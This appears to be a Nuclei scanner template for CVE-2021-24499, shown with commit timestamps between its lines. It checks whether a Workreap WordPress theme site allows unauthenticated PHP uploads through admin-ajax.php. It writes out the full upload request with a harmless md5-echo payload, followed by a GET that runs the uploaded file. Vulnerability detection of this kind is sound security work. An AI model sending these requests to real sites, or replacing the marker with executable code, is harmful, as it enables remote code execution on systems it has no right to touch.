2021-09-16 01:07:40 +00:00
id : CVE-2021-24499
info :
name : Workreap WordPress theme - unauthenticated RCE
author : daffainfo
severity : critical
2022-04-22 10:38:41 +00:00
description : The AJAX actions workreap_award_temp_file_uploader and workreap_temp_file_uploader did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed
for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.
2021-09-16 17:12:22 +00:00
reference :
- https://github.com/RyouYoo/CVE-2021-24499
- https://nvd.nist.gov/vuln/detail/CVE-2021-24499
2021-09-17 09:53:01 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-17 09:53:01 +00:00
cve-id : CVE-2021-24499
cwe-id : CWE-434
2022-04-22 10:38:41 +00:00
tags : cve,cve2021,wordpress,wp-plugin,rce,intrusive
2021-09-16 01:07:40 +00:00
requests :
- raw :
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=------------------------cd0dc6bdc00b1cf9
X-Requested-With : XMLHttpRequest
-----------------------------cd0dc6bdc00b1cf9
Content-Disposition : form-data; name="action"
workreap_award_temp_file_uploader
-----------------------------cd0dc6bdc00b1cf9
2021-09-17 13:08:19 +00:00
Content-Disposition : form-data; name="award_img"; filename="{{randstr}}.php"
2021-09-16 01:07:40 +00:00
Content-Type : application/x-httpd-php
2021-09-16 17:12:22 +00:00
<?php echo md5("CVE-2021-24499"); ?>
2021-09-16 01:07:40 +00:00
-----------------------------cd0dc6bdc00b1cf9--
- |
2021-09-17 13:08:19 +00:00
GET /wp-content/uploads/workreap-temp/{{randstr}}.php HTTP/1.1
2021-09-16 01:07:40 +00:00
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
part : body
words :
2021-09-16 17:12:22 +00:00
- "71abe5077dae2754c36d731cc1534d4d"